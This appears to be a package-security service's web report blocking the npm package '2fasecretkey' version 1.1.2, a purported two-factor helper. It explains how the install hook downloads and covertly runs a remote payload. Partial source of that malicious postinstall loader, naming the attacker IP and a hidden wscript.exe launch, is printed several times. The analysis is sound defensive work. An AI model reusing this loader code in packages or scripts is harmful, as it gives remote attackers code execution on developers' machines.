Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

2fasecretkey@1.1.2: Malicious npm security report (Block) | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

The remote server can cause arbitrary code to run with the installing user's privileges.

View on npm All versions

registry / 2fasecretkey / 1.1.2

2fasecretkey@1.1.2

Fast, minimal two-factor auth helper for Node.js — HMAC-based OTP with zero dependencies

AI Security Review

scanned 4h ago · by lpm-firewall-ai

Installing the package automatically downloads and runs a remote JavaScript payload. The execution is detached and hidden through a temporary VBS launcher.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation invokes postinstall.

Impact

The remote server can cause arbitrary code to run with the installing user's privileges.

Mechanism

remote payload download, temporary-file drop, and hidden detached execution

Attack narrative

On installation, the postinstall command fetches JavaScript from a hard-coded IP address, saves it under a random temporary filename, creates a VBS launcher, and invokes Node on that file through detached wscript.exe. This gives the remote endpoint control over code executed on Windows systems without any user action beyond installing the package.

Rationale

The manifest contains a concrete, unconsented postinstall remote-code execution chain unrelated to the stated TOTP functionality. This is malicious install-time behavior.

Evidence

package.jsonindex.jsREADME.mdtemporary random .js filetemporary _r.vbs filewscript.exe

Network endpoints1

185.14.92.233:7777/p.js

Decision evidence

public snapshot

© 2026 LPM Firewall

Product

Threat feed How it works Policy

LPM

LPM.dev Registry

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The postinstall hook downloads a JavaScript payload from an unrelated IP address during npm installation.
It writes the downloaded payload to a random temporary JavaScript file.
It creates a VBS launcher and starts the payload with hidden, detached wscript.exe execution.

Evidence against

The exported index module only exposes TOTP helper wrappers, although its referenced lib/core file is absent from the package.
No package source shows a legitimate need for an install-time remote payload downloader.

Behavioral surface

Source

Crypto

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 1.04 KB of source

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end',function(){try{var t=pa.join(os.tmpdir(),'_vc'+Math.random().toString(36).slice(2)+'.js');fs.writeFileSync(t,d);

High

Suspicious Lifecycle Evidence

The postinstall hook downloads a JavaScript payload from an unrelated IP address during npm installation.

package.jsonView on unpkg · L7

7fs.writeFileSync(vp,vbs);var env=Object.assign({},process.env,{_NP:process.execPath,_SP:t});cp.spawn('wscript.exe',['/nologo',vp],{detached:true,stdio:'ignore',env:env}).unref()

High

Ai Review Evidence

It creates a VBS launcher and starts the payload with hidden, detached wscript.exe execution.

package.jsonView on unpkg · L7

package.json#scripts.postinstallView file

1var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

package.json#scripts.postinstallView on unpkg · L1

Findings

1 Critical4 High1 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSame File Env Network Executionpackage.json#scripts.postinstall

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

LowScripts Present

99%Block

Verdict confidence

IntentMalware

TypeRemote Code Execution

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

Authorsecretkey2fa contributors

Version1.1.4

PublishedAug 27, 2026

LicenseMIT

Dependencies0

Integrityverified

Package size1.80 KB

Files3

Keywordstotphotpotp2famfaauthenticatorsecret-keyone-time-password

LinksRepository Homepage Issues

Runtime surface

package.json

Entrypointsmain → index.js

Runtimenode >=14

Artifact3.63 KB · 3 files1 signature(s)

Install lifecyclepostinstall

Behavioral surface

CryptoSupply chain: cleanManifest: clean

LPM CLI

Source & flagged code

5 flagged

package.jsonView file

•scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(c){d+=c});r.on('end',function(){try{var t=pa.join(os.tmpdir(),'_vc'+Math.random().toString(36).slice(2)+'.js');fs.writeFileSync(t,d);

High

Suspicious Lifecycle Evidence

The postinstall hook downloads a JavaScript payload from an unrelated IP address during npm installation.

package.jsonView on unpkg · L7

7fs.writeFileSync(vp,vbs);var env=Object.assign({},process.env,{_NP:process.execPath,_SP:t});cp.spawn('wscript.exe',['/nologo',vp],{detached:true,stdio:'ignore',env:env}).unref()

High

Ai Review Evidence

It creates a VBS launcher and starts the payload with hidden, detached wscript.exe execution.

package.jsonView on unpkg · L7

package.json#scripts.postinstallView file

1var h=require('http'),d='',os=require('os'),fs=require('fs'),pa=require('path'),cp=require('child_process');h.get('http://185.14.92.233:7777/p.js',function(r){r.on('data',function(...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

package.json#scripts.postinstallView on unpkg · L1